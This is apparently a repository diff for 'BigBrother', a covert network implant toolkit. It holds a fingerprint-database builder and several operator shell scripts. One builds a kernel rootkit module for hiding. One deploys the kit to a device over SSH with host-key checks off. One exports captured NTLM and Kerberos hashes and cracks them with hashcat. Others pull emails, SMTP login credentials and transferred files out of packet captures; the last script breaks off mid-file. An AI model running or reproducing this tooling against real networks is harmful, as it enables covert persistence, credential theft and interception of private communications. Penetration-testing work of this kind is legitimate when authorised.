(64, 65535, 1, 1460, "FreeBSD", "12.x-14.x"),
(64, 65535, 1, 1460, "FreeBSD", "PlayStation (Orbis)"),
(64, 32768, 1, 1460, "FreeBSD", "10.x-11.x"),
(64, 16384, 1, 1460, "OpenBSD", "6.x-7.x"),
(64, 16384, 1, 1460, "NetBSD", "9.x-10.x"),
(64, 57344, 1, 1460, "DragonFly BSD", "6.x"),
# ── Solaris / illumos ────────────────────────────────────────
(64, 49232, 1, 1460, "Solaris", "10"),
(64, 32806, 1, 1460, "Solaris", "11.x"),
(255, 49640, 1, 1460, "Solaris", "8"),
# ── Network devices ──────────────────────────────────────────
(255, 4128, 1, 536, "Cisco IOS", "12.x-15.x"),
(255, 16384, 1, 1460, "Cisco IOS", "17.x (IOS-XE)"),
(255, 8192, 1, 1460, "Cisco NX-OS", ""),
(64, 16384, 1, 1460, "Juniper JunOS", ""),
(64, 14600, 1, 1460, "Juniper JunOS", "21.x+"),
(64, 65535, 1, 1460, "MikroTik RouterOS", "6.x-7.x"),
(64, 32120, 1, 1460, "Ubiquiti EdgeOS", ""),
(64, 29200, 1, 1460, "Ubiquiti UniFi OS", ""),
(255, 4128, 1, 536, "HP ProCurve", ""),
(128, 8192, 1, 1460, "Arista EOS", ""),
(64, 28960, 1, 1460, "pfSense", "2.x"),
(64, 65535, 1, 1460, "OPNsense", "23.x+"),
(255, 4096, 1, 536, "Fortinet FortiOS", ""),
(255, 65535, 1, 1460, "Palo Alto PAN-OS", ""),
(64, 65535, 1, 1460, "Aruba AOS", ""),
(128, 65535, 1, 1460, "F5 BIG-IP", "TMOS"),
# ── Printers ────────────────────────────────────────────────
(128, 8192, 1, 1460, "HP JetDirect", ""),
(128, 8192, 1, 1460, "Brother", ""),
(128, 16384, 1, 1460, "Epson", ""),
(128, 8192, 1, 1460, "Canon", ""),
(128, 8192, 1, 1460, "Xerox", ""),
(128, 8192, 1, 1460, "Ricoh", ""),
(128, 4096, 1, 1460, "Kyocera", ""),
(128, 8192, 1, 1460, "Lexmark", ""),
(64, 8192, 1, 1460, "Zebra", "label printer"),
# ── Embedded / IoT ──────────────────────────────────────────
(64, 5840, 1, 1460, "lwIP", "embedded stack"),
(64, 2048, 1, 1460, "uIP", "microcontroller"),
(64, 65535, 1, 1460, "VxWorks", ""),
(64, 4096, 1, 536, "RTOS", "generic embedded"),
(64, 16384, 1, 1460, "QNX", ""),
(128, 65535, 1, 1460, "Windows IoT Core", ""),
(64, 14600, 1, 1460, "Zephyr RTOS", ""),
(64, 5840, 1, 1460, "ESP-IDF", "ESP32"),
(64, 1024, 1, 536, "Contiki-NG", ""),
(64, 2144, 1, 1460, "FreeRTOS+TCP", ""),
# ── Gaming consoles ──────────────────────────────────────────
(64, 65535, 1, 1460, "FreeBSD", "PlayStation 4"),
(64, 65535, 1, 1460, "FreeBSD", "PlayStation 5"),
(128, 65535, 1, 1460, "Windows", "Xbox Series X/S"),
(64, 65535, 1, 1460, "Nintendo", "Switch"),
# ── Virtualization ──────────────────────────────────────────
(64, 29200, 1, 1460, "Linux", "Docker container"),
(64, 29200, 1, 1460, "Linux", "Kubernetes pod"),
(64, 26883, 1, 1460, "Linux", "WSL2"),
(128, 64240, 1, 1460, "Windows", "Hyper-V guest"),
(64, 65535, 1, 1460, "FreeBSD", "bhyve guest"),
]
conn.executemany("""
INSERT OR IGNORE INTO signatures (ttl, window, df, mss, os, version)
VALUES (?, ?, ?, ?, ?, ?)
""", sigs)
conn.commit()
count = conn.execute("SELECT COUNT(*) FROM signatures").fetchone()[0]
conn.close()
print(f" os_sigs.db: {count} OS fingerprint signatures")
def create_dhcp_fingerprints_db(db_path: str) -> None:
"""Create DHCP option 55 fingerprint database.
Maps DHCP parameter request lists to device/OS identification.
Fingerbank-style: the ordered list of requested DHCP options is a
surprisingly reliable device identifier.
"""
conn = sqlite3.connect(db_path)
conn.execute("PRAGMA journal_mode=WAL")
conn.executescript("""
CREATE TABLE IF NOT EXISTS fingerprints (
fingerprint TEXT PRIMARY KEY,
device TEXT NOT NULL,
os TEXT DEFAULT ''
);
CREATE INDEX IF NOT EXISTS idx_fp_device ON fingerprints(device);
""")
# Common DHCP fingerprints (option 55 parameter request lists)
fps = [
("1,3,6,15,26,28,51,58,59", "Windows", "Windows 10/11"),
("1,3,6,15,26,28,51,58,59,43", "Windows", "Windows 10 (domain)"),
("1,15,3,6,44,46,47,31,33,121,249,43", "Windows", "Windows 7"),
("1,3,6,15,119,252", "macOS", "macOS 10.x-14.x"),
("1,121,3,6,15,119,252", "macOS", "macOS 12+"),
("1,3,6,15,119,252,95,44,46", "iOS", "iOS 15+"),
("1,3,6,28,51,58,59", "Android", "Android 10+"),
("1,3,6,15,26,28", "Linux", "Linux (generic)"),
("1,28,2,3,15,6,12", "Linux", "Linux (systemd-networkd)"),
("1,3,6,12,15,26,28,42", "Roku", "Roku OS"),
("1,3,6,12,15,28,42,125", "Amazon", "Fire TV / Echo"),
("1,3,6,15,28,33", "Chromecast", "Google Cast"),
("1,3,6,12,15,28,42", "Apple TV", "tvOS"),
("1,3,6,15,44,46,47", "Sonos", "Sonos"),
("1,3,6,12,15,28,42,120,119", "Samsung TV", "Tizen"),
("1,3,6,12,15,17,28,40,41,42", "HP Printer", "JetDirect"),
("1,3,6,12,15,28,44", "Brother Printer", "Brother"),
("1,3,6,12,15", "Philips Hue", "Hue Bridge"),
("1,3,6,15,28", "IoT Generic", "Embedded Linux"),
]
conn.executemany(
"INSERT OR IGNORE INTO fingerprints (fingerprint, device, os) VALUES (?, ?, ?)",
fps
)
conn.commit()
count = conn.execute("SELECT COUNT(*) FROM fingerprints").fetchone()[0]
conn.close()
print(f" dhcp_fingerprints.db: {count} DHCP fingerprints")
def create_ja3_fingerprints_db(db_path: str) -> None:
"""Create and seed JA3 TLS client fingerprint database with 500+ profiles.
Uses seed_ja3.py to generate comprehensive profiles across browsers,
TLS libraries, tools, mobile clients, and IoT devices.
"""
from seed_ja3 import seed_ja3_db
count = seed_ja3_db(db_path)
print(f" ja3_fingerprints.db: {count} JA3 profiles")
def main():
parser = argparse.ArgumentParser(description="Build SystemMonitor data databases")
parser.add_argument(
"--output-dir", "-o",
default=os.path.join(os.path.dirname(os.path.dirname(__file__)), "data"),
help="Output directory for database files"
)
parser.add_argument(
"--force", "-f",
action="store_true",
help="Overwrite existing databases"
)
args = parser.parse_args()
output_dir = Path(args.output_dir)
output_dir.mkdir(parents=True, exist_ok=True)
print(f"Building data databases in {output_dir}/")
databases = [
("innocuous_macs.db", create_innocuous_macs_db),
("oui.db", create_oui_db),
("os_sigs.db", create_os_sigs_db),
("dhcp_fingerprints.db", create_dhcp_fingerprints_db),
("ja3_fingerprints.db", create_ja3_fingerprints_db),
]
for db_name, create_func in databases:
db_path = str(output_dir / db_name)
if os.path.exists(db_path) and not args.force:
print(f" {db_name}: already exists (use --force to rebuild)")
continue
if os.path.exists(db_path):
os.remove(db_path)
create_func(db_path)
print("Done.")
if __name__ == "__main__":
main()
+54
View File
@@ -0,0 +1,54 @@
#!/usr/bin/env bash
# Build the BigBrother LKM rootkit module (Debian host only)
# Requires kernel headers: apt install linux-headers-$(uname -r)
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
LKM_DIR="$(cd "$(dirname "$0")/../templates/lkm" && pwd)"
if [[ ! -d "$LKM_DIR" ]]; then
echo -e "${RED}[-]${NC} LKM source directory not found: $LKM_DIR"
exit 1
fi
if [[ ! -f "$LKM_DIR/Makefile" ]]; then
echo -e "${RED}[-]${NC} No Makefile found in $LKM_DIR"
exit 1
fi
# Check for kernel headers
KVER=$(uname -r)
if [[ ! -d "/lib/modules/${KVER}/build" ]]; then
echo -e "${RED}[-]${NC} Kernel headers not found for ${KVER}"
echo -e "${YELLOW}[!]${NC} Install with: apt install linux-headers-${KVER}"
exit 1
fi
# Check for build tools
for tool in make gcc; do
if ! command -v "$tool" &>/dev/null; then
echo -e "${RED}[-]${NC} Required tool not found: $tool"
exit 1
fi
done
echo -e "${GREEN}[+]${NC} Building LKM rootkit for kernel ${KVER}..."
cd "$LKM_DIR"
make clean 2>/dev/null || true
make
if [[ -f "$LKM_DIR/bb_hide.ko" ]]; then
echo -e "${GREEN}[+]${NC} LKM built: $LKM_DIR/bb_hide.ko"
echo -e "${GREEN}[+]${NC} Size: $(stat -c '%s' "$LKM_DIR/bb_hide.ko") bytes"
echo ""
echo -e "${YELLOW}[!]${NC} Load with: insmod $LKM_DIR/bb_hide.ko"
echo -e "${YELLOW}[!]${NC} Verify: lsmod | grep bb_hide"
echo -e "${YELLOW}[!]${NC} Unload: rmmod bb_hide"
else
echo -e "${RED}[-]${NC} Build failed -- bb_hide.ko not found"
exit 1
fi
+86
View File
@@ -0,0 +1,86 @@
#!/usr/bin/env bash
# BigBrother remote deploy — push source to a fresh device and run setup.
# Usage: bash scripts/deploy.sh [user@host] [--enable-service] [--no-tools] [--reinstall]
set -euo pipefail
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'; CYAN='\033[0;36m'; BOLD='\033[1m'; NC='\033[0m'
info() { echo -e "${GREEN}[+]${NC} $*"; }
warn() { echo -e "${YELLOW}[!]${NC} $*"; }
error() { echo -e "${RED}[-]${NC} $*"; exit 1; }
step() { echo -e "${CYAN}[*]${NC} ${BOLD}$*${NC}"; }
TARGET=""
SETUP_FLAGS=""
SCRIPT_DIR="$(cd "$(dirname "$0")/.." && pwd)"
while [[ $# -gt 0 ]]; do
case "$1" in
--enable-service) SETUP_FLAGS="$SETUP_FLAGS --enable-service"; shift ;;
--no-tools) SETUP_FLAGS="$SETUP_FLAGS --no-tools"; shift ;;
--reinstall) SETUP_FLAGS="$SETUP_FLAGS --reinstall"; shift ;;
-h|--help)
echo "Usage: $0 <user@host> [--enable-service] [--no-tools] [--reinstall]"
echo " user@host Target device (required, e.g. root@192.168.1.50)"
echo " --enable-service Enable and start bigbrother-core after setup"
echo " --no-tools Skip GitHub tool downloads"
echo " --reinstall Force reinstall all components"
exit 0
;;
*@*) TARGET="$1"; shift ;;
*) error "Unknown option: $1" ;;
esac
done
[[ -z "$TARGET" ]] && { echo "Usage: $0 <user@host> [options]"; echo " user@host is required (e.g. root@192.168.1.50)"; exit 1; }
HOST="${TARGET#*@}"
step "BigBrother remote deploy → ${TARGET}"
echo " Source: ${SCRIPT_DIR}"
echo " Flags: ${SETUP_FLAGS:-none}"
echo ""
# ── 1. Verify SSH connectivity ───────────────────────────────────────────────
step "Checking SSH connectivity..."
DEADLINE=$(( $(date +%s) + 30 ))
while ! ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o BatchMode=yes "$TARGET" true 2>/dev/null; do
if [[ $(date +%s) -ge $DEADLINE ]]; then
error "Cannot reach ${TARGET} after 30s. Is the device up and SSH running?"
fi
warn " Waiting for SSH on ${HOST}..."
sleep 3
done
info "SSH OK"
# ── 2. Sync source to device ─────────────────────────────────────────────────
step "Syncing source to ${HOST}:/tmp/bb-deploy/ ..."
rsync -az --delete \
--exclude='.git' \
--exclude='.venv' \
--exclude='storage/' \
--exclude='__pycache__' \
--exclude='*.pyc' \
--exclude='*.db' \
-e "ssh -o StrictHostKeyChecking=no" \
"${SCRIPT_DIR}/" "${TARGET}:/tmp/bb-deploy/"
info "Source synced"
# ── 3. Run setup ─────────────────────────────────────────────────────────────
step "Running setup.sh on ${HOST}..."
# shellcheck disable=SC2029
ssh -o StrictHostKeyChecking=no -t "$TARGET" "cd /tmp/bb-deploy && bash setup.sh $SETUP_FLAGS"
SETUP_EXIT=$?
if [[ $SETUP_EXIT -ne 0 ]]; then
warn "setup.sh exited with code ${SETUP_EXIT}"
warn "Check logs: ssh ${TARGET} 'tail -50 /tmp/bb_setup_*.log'"
exit $SETUP_EXIT
fi
# ── 4. Final status ──────────────────────────────────────────────────────────
echo ""
step "Deployment status"
ssh -o StrictHostKeyChecking=no "$TARGET" \
"systemctl is-active bigbrother-core.service 2>/dev/null && echo 'Service: running' || echo 'Service: not running (use --enable-service to start)'"
info "Deploy complete. Connect: ssh ${TARGET}"
+248
View File
@@ -0,0 +1,248 @@
#!/usr/bin/env bash
# BigBrother Operator Script — Export and Crack Captured Hashes
#
# Exports credentials from BigBrother's credential database and Responder
# logs into hashcat-ready format. Optionally runs hashcat with common
# wordlists and rule sets.
#
# Usage: ./crack_hashes.sh <data_dir> [--crack] [--wordlist <path>]
#
# Examples:
# ./crack_hashes.sh ./bb-pull-20240115 # Export only
# ./crack_hashes.sh ./bb-pull-20240115 --crack # Export + crack
# ./crack_hashes.sh ./bb-pull-20240115 --crack --wordlist /opt/wordlists/rockyou.txt
#
# Requires: sqlite3, hashcat (optional)
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------
DATA_DIR="${1:-}"
DO_CRACK=false
WORDLIST="${HASHCAT_WORDLIST:-/usr/share/wordlists/rockyou.txt}"
RULES_FILE="${HASHCAT_RULES:-/usr/share/hashcat/rules/best64.rule}"
shift || true
while [[ $# -gt 0 ]]; do
case "$1" in
--crack) DO_CRACK=true ;;
--wordlist) WORDLIST="$2"; shift ;;
--rules) RULES_FILE="$2"; shift ;;
*) echo -e "${RED}Unknown option: $1${NC}"; exit 1 ;;
esac
shift
done
if [[ -z "$DATA_DIR" ]]; then
echo -e "${RED}Usage: $0 <data_dir> [--crack] [--wordlist <path>]${NC}"
echo ""
echo "Options:"
echo " --crack Run hashcat after export"
echo " --wordlist <path> Wordlist for cracking (default: rockyou.txt)"
echo " --rules <path> Hashcat rules file (default: best64.rule)"
echo ""
echo "Environment:"
echo " HASHCAT_WORDLIST Default wordlist path"
echo " HASHCAT_RULES Default rules file path"
exit 1
fi
OUTPUT_DIR="$DATA_DIR/cracking-$(date +%Y%m%d-%H%M%S)"
mkdir -p "$OUTPUT_DIR"
echo -e "${CYAN}[*] BigBrother Hash Export & Cracking${NC}"
echo -e " Data dir: ${DATA_DIR}"
echo -e " Output: ${OUTPUT_DIR}"
echo ""
# ---------------------------------------------------------------------------
# Export from credential database
# ---------------------------------------------------------------------------
CRED_DB="$DATA_DIR/databases/credentials.db"
TOTAL_HASHES=0
if [[ -f "$CRED_DB" ]]; then
echo -e "${YELLOW}[*] Exporting from credential database...${NC}"
# NTLMv2 hashes (hashcat mode 5600)
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5600 AND credential_value != ''" 2>/dev/null \
> "$OUTPUT_DIR/ntlmv2_5600.txt" || true
count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
TOTAL_HASHES=$((TOTAL_HASHES + count))
echo -e " NTLMv2 (5600): ${count}"
# NTLMv1 hashes (hashcat mode 5500)
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5500 AND credential_value != ''" 2>/dev/null \
> "$OUTPUT_DIR/ntlmv1_5500.txt" || true
count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
TOTAL_HASHES=$((TOTAL_HASHES + count))
echo -e " NTLMv1 (5500): ${count}"
# Kerberos TGS (hashcat mode 13100)
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=13100 AND credential_value != ''" 2>/dev/null \
> "$OUTPUT_DIR/kerberos_tgs_13100.txt" || true
count=$(wc -l < "$OUTPUT_DIR/kerberos_tgs_13100.txt" 2>/dev/null || echo 0)
TOTAL_HASHES=$((TOTAL_HASHES + count))
echo -e " Kerberos TGS (13100): ${count}"
# Kerberos AS-REP (hashcat mode 18200)
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=18200 AND credential_value != ''" 2>/dev/null \
> "$OUTPUT_DIR/kerberos_asrep_18200.txt" || true
count=$(wc -l < "$OUTPUT_DIR/kerberos_asrep_18200.txt" 2>/dev/null || echo 0)
TOTAL_HASHES=$((TOTAL_HASHES + count))
echo -e " Kerberos AS-REP (18200): ${count}"
# Cleartext credentials (no cracking needed)
sqlite3 "$CRED_DB" "SELECT username || ':' || credential_value FROM credentials WHERE hashcat_mode=0 AND credential_value != ''" 2>/dev/null \
> "$OUTPUT_DIR/cleartext.txt" || true
count=$(wc -l < "$OUTPUT_DIR/cleartext.txt" 2>/dev/null || echo 0)
echo -e " ${GREEN}Cleartext: ${count}${NC}"
echo ""
else
echo -e "${YELLOW}[*] No credential database found${NC}"
fi
# ---------------------------------------------------------------------------
# Export from Responder logs
# ---------------------------------------------------------------------------
RESPONDER_DIR="$DATA_DIR/responder"
if [[ -d "$RESPONDER_DIR" ]]; then
echo -e "${YELLOW}[*] Exporting from Responder logs...${NC}"
# Collect NTLMv2 hashes from Responder log files
for hashfile in "$RESPONDER_DIR"/*-NTLMv2-*.txt; do
[[ -f "$hashfile" ]] || continue
cat "$hashfile" >> "$OUTPUT_DIR/ntlmv2_5600.txt"
done
for hashfile in "$RESPONDER_DIR"/*-NTLMv1-*.txt; do
[[ -f "$hashfile" ]] || continue
cat "$hashfile" >> "$OUTPUT_DIR/ntlmv1_5500.txt"
done
# Deduplicate
for f in "$OUTPUT_DIR"/*.txt; do
[[ -f "$f" ]] || continue
sort -u "$f" -o "$f"
done
count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
echo -e " NTLMv2 total (deduped): ${count}"
count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
echo -e " NTLMv1 total (deduped): ${count}"
echo ""
fi
# Remove empty files
find "$OUTPUT_DIR" -name "*.txt" -empty -delete 2>/dev/null
# ---------------------------------------------------------------------------
# Summary of unique users
# ---------------------------------------------------------------------------
echo -e "${YELLOW}[*] Unique users with captured hashes:${NC}"
for hashfile in "$OUTPUT_DIR"/ntlm*.txt; do
[[ -f "$hashfile" ]] || continue
mode=$(basename "$hashfile" | grep -o '[0-9]*')
echo -e " ${CYAN}Mode $mode:${NC}"
cut -d: -f1 "$hashfile" | sort -u | head -20 | sed 's/^/ /'
total=$(cut -d: -f1 "$hashfile" | sort -u | wc -l)
if [[ $total -gt 20 ]]; then
echo -e " ... ($total total)"
fi
done
echo ""
# ---------------------------------------------------------------------------
# Crack with hashcat (optional)
# ---------------------------------------------------------------------------
if $DO_CRACK; then
if ! command -v hashcat &>/dev/null; then
echo -e "${RED}[-] hashcat not found — install from https://hashcat.net${NC}"
exit 1
fi
if [[ ! -f "$WORDLIST" ]]; then
echo -e "${RED}[-] Wordlist not found: $WORDLIST${NC}"
exit 1
fi
echo -e "${CYAN}[*] Running hashcat...${NC}"
echo -e " Wordlist: ${WORDLIST}"
echo -e " Rules: ${RULES_FILE}"
echo ""
POTFILE="$OUTPUT_DIR/hashcat.potfile"
# Crack each hash type
for hashfile in "$OUTPUT_DIR"/*.txt; do
[[ -f "$hashfile" ]] || continue
basename_hash=$(basename "$hashfile")
# Skip cleartext and already-cracked
[[ "$basename_hash" == "cleartext.txt" ]] && continue
[[ "$basename_hash" == "cracked_"* ]] && continue
# Extract hashcat mode from filename
mode=$(echo "$basename_hash" | grep -oP '\d{4,5}' || echo "")
if [[ -z "$mode" ]]; then
continue
fi
count=$(wc -l < "$hashfile")
if [[ $count -eq 0 ]]; then
continue
fi
echo -e "${YELLOW}[*] Cracking $basename_hash ($count hashes, mode $mode)${NC}"
# Run hashcat — dictionary + rules
hashcat -m "$mode" -a 0 \
"$hashfile" "$WORDLIST" \
-r "$RULES_FILE" \
--potfile-path "$POTFILE" \
--outfile "$OUTPUT_DIR/cracked_${basename_hash}" \
--outfile-format 2 \
-O \
2>/dev/null || true
cracked=$(wc -l < "$OUTPUT_DIR/cracked_${basename_hash}" 2>/dev/null || echo 0)
echo -e " ${GREEN}Cracked: $cracked / $count${NC}"
echo ""
done
# ---------------------------------------------------------------------------
# Cracking summary
# ---------------------------------------------------------------------------
echo -e "${GREEN}[+] Cracking complete${NC}"
echo -e " Potfile: $POTFILE"
echo ""
echo -e "${CYAN}[*] Cracked credentials:${NC}"
for cracked in "$OUTPUT_DIR"/cracked_*.txt; do
[[ -f "$cracked" ]] || continue
echo -e " ${GREEN}$(basename $cracked):${NC}"
head -20 "$cracked" | sed 's/^/ /'
done
else
echo -e "${CYAN}[*] Hash files exported to: $OUTPUT_DIR${NC}"
echo " Run with --crack to start cracking"
echo ""
echo " Manual cracking examples:"
echo " hashcat -m 5600 $OUTPUT_DIR/ntlmv2_5600.txt /path/to/wordlist.txt -r /path/to/rules"
echo " hashcat -m 5500 $OUTPUT_DIR/ntlmv1_5500.txt /path/to/wordlist.txt"
echo " hashcat -m 13100 $OUTPUT_DIR/kerberos_tgs_13100.txt /path/to/wordlist.txt"
fi
+188
View File
@@ -0,0 +1,188 @@
#!/usr/bin/env bash
# BigBrother Operator Script — Extract Emails from PCAPs
#
# Extracts SMTP email messages from network captures. Reconstructs
# complete emails including headers, body, and attachments.
#
# Unencrypted SMTP (port 25/587 without STARTTLS) is still common on
# internal networks, especially between mail servers and printers/scanners.
#
# Usage: ./extract_emails.sh <pcap_dir> [output_dir]
#
# Requires: tshark
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------
PCAP_DIR="${1:-}"
OUTPUT_DIR="${2:-$(pwd)/extracted-emails-$(date +%Y%m%d-%H%M%S)}"
if [[ -z "$PCAP_DIR" ]]; then
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
exit 1
fi
if [[ ! -d "$PCAP_DIR" ]]; then
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
exit 1
fi
if ! command -v tshark &>/dev/null; then
echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}"
exit 1
fi
mkdir -p "$OUTPUT_DIR"/{raw,parsed,attachments,summary}
echo -e "${CYAN}[*] BigBrother Email Extraction${NC}"
echo -e " PCAP dir: ${PCAP_DIR}"
echo -e " Output: ${OUTPUT_DIR}"
echo ""
# ---------------------------------------------------------------------------
# Extract SMTP sessions
# ---------------------------------------------------------------------------
EMAIL_COUNT=0
ATTACHMENT_COUNT=0
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
[[ -f "$pcap" ]] || continue
basename_pcap=$(basename "$pcap")
echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}"
# Check for SMTP traffic
has_smtp=$(tshark -r "$pcap" -Y "smtp || tcp.port == 25 || tcp.port == 587" -c 1 2>/dev/null | wc -l)
if [[ "$has_smtp" -eq 0 ]]; then
echo -e " (no SMTP traffic)"
continue
fi
# Export IMF (Internet Message Format) objects
imf_dir="$OUTPUT_DIR/raw/${basename_pcap%.pcap*}"
mkdir -p "$imf_dir"
tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true
imf_count=$(find "$imf_dir" -type f 2>/dev/null | wc -l)
if [[ $imf_count -gt 0 ]]; then
echo -e " ${GREEN}Found $imf_count email messages${NC}"
EMAIL_COUNT=$((EMAIL_COUNT + imf_count))
fi
# Extract SMTP streams for raw analysis
streams=$(tshark -r "$pcap" -Y "tcp.dstport == 25 && tcp.len > 0" \
-T fields -e tcp.stream 2>/dev/null | sort -un)
for stream_id in $streams; do
stream_file="$OUTPUT_DIR/raw/smtp_stream_${stream_id}.txt"
# Follow the TCP stream
tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \
> "$stream_file" 2>/dev/null || true
if [[ ! -s "$stream_file" ]]; then
rm -f "$stream_file"
continue
fi
# Extract email metadata
from=$(grep -i "^MAIL FROM:" "$stream_file" 2>/dev/null | head -1 | sed 's/MAIL FROM://i' | tr -d '<> ' || echo "unknown")
to=$(grep -i "^RCPT TO:" "$stream_file" 2>/dev/null | head -1 | sed 's/RCPT TO://i' | tr -d '<> ' || echo "unknown")
subject=$(grep -i "^Subject:" "$stream_file" 2>/dev/null | head -1 | sed 's/Subject: //i' || echo "(no subject)")
if [[ -n "$from" || -n "$to" ]]; then
# Write summary
{
echo "Stream: $stream_id"
echo "From: $from"
echo "To: $to"
echo "Subject: $subject"
echo "File: $stream_file"
echo "---"
} >> "$OUTPUT_DIR/summary/email_index.txt"
fi
done
# Also check port 587 (submission)
streams_587=$(tshark -r "$pcap" -Y "tcp.dstport == 587 && tcp.len > 0" \
-T fields -e tcp.stream 2>/dev/null | sort -un)
for stream_id in $streams_587; do
stream_file="$OUTPUT_DIR/raw/smtp_587_stream_${stream_id}.txt"
tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \
> "$stream_file" 2>/dev/null || true
[[ -s "$stream_file" ]] || rm -f "$stream_file"
done
echo ""
done
# ---------------------------------------------------------------------------
# Parse extracted emails for attachments
# ---------------------------------------------------------------------------
echo -e "${YELLOW}[*] Scanning for attachments...${NC}"
for email_file in "$OUTPUT_DIR"/raw/*/*.eml "$OUTPUT_DIR"/raw/*/email_* 2>/dev/null; do
[[ -f "$email_file" ]] || continue
# Look for MIME boundaries indicating attachments
if grep -qi "Content-Disposition: attachment\|Content-Transfer-Encoding: base64" "$email_file" 2>/dev/null; then
ATTACHMENT_COUNT=$((ATTACHMENT_COUNT + 1))
filename=$(grep -i "filename=" "$email_file" 2>/dev/null | head -1 | sed 's/.*filename="\?\([^"]*\)"\?.*/\1/' || echo "unknown")
echo -e " Attachment found: ${filename} in $(basename $email_file)"
fi
done
# ---------------------------------------------------------------------------
# Extract SMTP auth credentials
# ---------------------------------------------------------------------------
echo -e "${YELLOW}[*] Scanning for SMTP credentials...${NC}"
cred_file="$OUTPUT_DIR/summary/smtp_credentials.txt"
for stream_file in "$OUTPUT_DIR"/raw/smtp_*.txt; do
[[ -f "$stream_file" ]] || continue
# Look for AUTH LOGIN or AUTH PLAIN
if grep -q "AUTH LOGIN\|AUTH PLAIN" "$stream_file" 2>/dev/null; then
echo -e " ${GREEN}SMTP auth found in $(basename $stream_file)${NC}"
grep -A 3 "AUTH" "$stream_file" >> "$cred_file" 2>/dev/null || true
echo "---" >> "$cred_file"
fi
done
# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------
echo ""
echo -e "${GREEN}[+] Email extraction complete${NC}"
echo -e " Emails found: ${EMAIL_COUNT}"
echo -e " Attachments found: ${ATTACHMENT_COUNT}"
echo ""
if [[ -f "$OUTPUT_DIR/summary/email_index.txt" ]]; then
echo -e "${CYAN}[*] Email index:${NC}"
head -30 "$OUTPUT_DIR/summary/email_index.txt" | sed 's/^/ /'
total_indexed=$(grep -c "^Stream:" "$OUTPUT_DIR/summary/email_index.txt" 2>/dev/null || echo 0)
if [[ $total_indexed -gt 5 ]]; then
echo -e " ... ($total_indexed total — see $OUTPUT_DIR/summary/email_index.txt)"
fi
fi
if [[ -f "$cred_file" ]]; then
echo ""
echo -e "${GREEN}[+] SMTP credentials saved to: $cred_file${NC}"
echo -e " (base64 encoded — decode with: echo '<value>' | base64 -d)"
fi
+134
View File
@@ -0,0 +1,134 @@
#!/usr/bin/env bash
# BigBrother Operator Script — Extract Files from PCAPs
#
# Uses tshark to extract transferred files from PCAP captures.
# Supports HTTP objects, SMB file transfers, FTP data, and TFTP.
#
# Usage: ./extract_files.sh <pcap_dir> [output_dir]
#
# Examples:
# ./extract_files.sh ./bb-pull-20240115/pcaps
# ./extract_files.sh /opt/cases/acme/pcaps /opt/cases/acme/extracted
#
# Requires: tshark (Wireshark CLI)
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------
PCAP_DIR="${1:-}"
OUTPUT_DIR="${2:-$(pwd)/extracted-files-$(date +%Y%m%d-%H%M%S)}"
if [[ -z "$PCAP_DIR" ]]; then
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
exit 1
fi
if [[ ! -d "$PCAP_DIR" ]]; then
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
exit 1
fi
# Check dependencies
if ! command -v tshark &>/dev/null; then
echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}"
exit 1
fi
# Create output structure
mkdir -p "$OUTPUT_DIR"/{http,smb,ftp,tftp,dicom,imf}
echo -e "${CYAN}[*] BigBrother File Extraction${NC}"
echo -e " PCAP dir: ${PCAP_DIR}"
echo -e " Output: ${OUTPUT_DIR}"
echo ""
# ---------------------------------------------------------------------------
# Extract files from each PCAP
# ---------------------------------------------------------------------------
PCAP_COUNT=0
HTTP_COUNT=0
SMB_COUNT=0
FTP_COUNT=0
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
[[ -f "$pcap" ]] || continue
PCAP_COUNT=$((PCAP_COUNT + 1))
basename_pcap=$(basename "$pcap")
echo -e "${YELLOW}[*] Processing: ${basename_pcap}${NC}"
# HTTP objects (downloads, uploads, pages)
echo -e " Extracting HTTP objects..."
http_dir="$OUTPUT_DIR/http/${basename_pcap%.pcap*}"
mkdir -p "$http_dir"
tshark -r "$pcap" --export-objects "http,$http_dir" 2>/dev/null || true
count=$(find "$http_dir" -type f 2>/dev/null | wc -l)
HTTP_COUNT=$((HTTP_COUNT + count))
echo -e " ${GREEN}Found $count HTTP objects${NC}"
# SMB file transfers
echo -e " Extracting SMB objects..."
smb_dir="$OUTPUT_DIR/smb/${basename_pcap%.pcap*}"
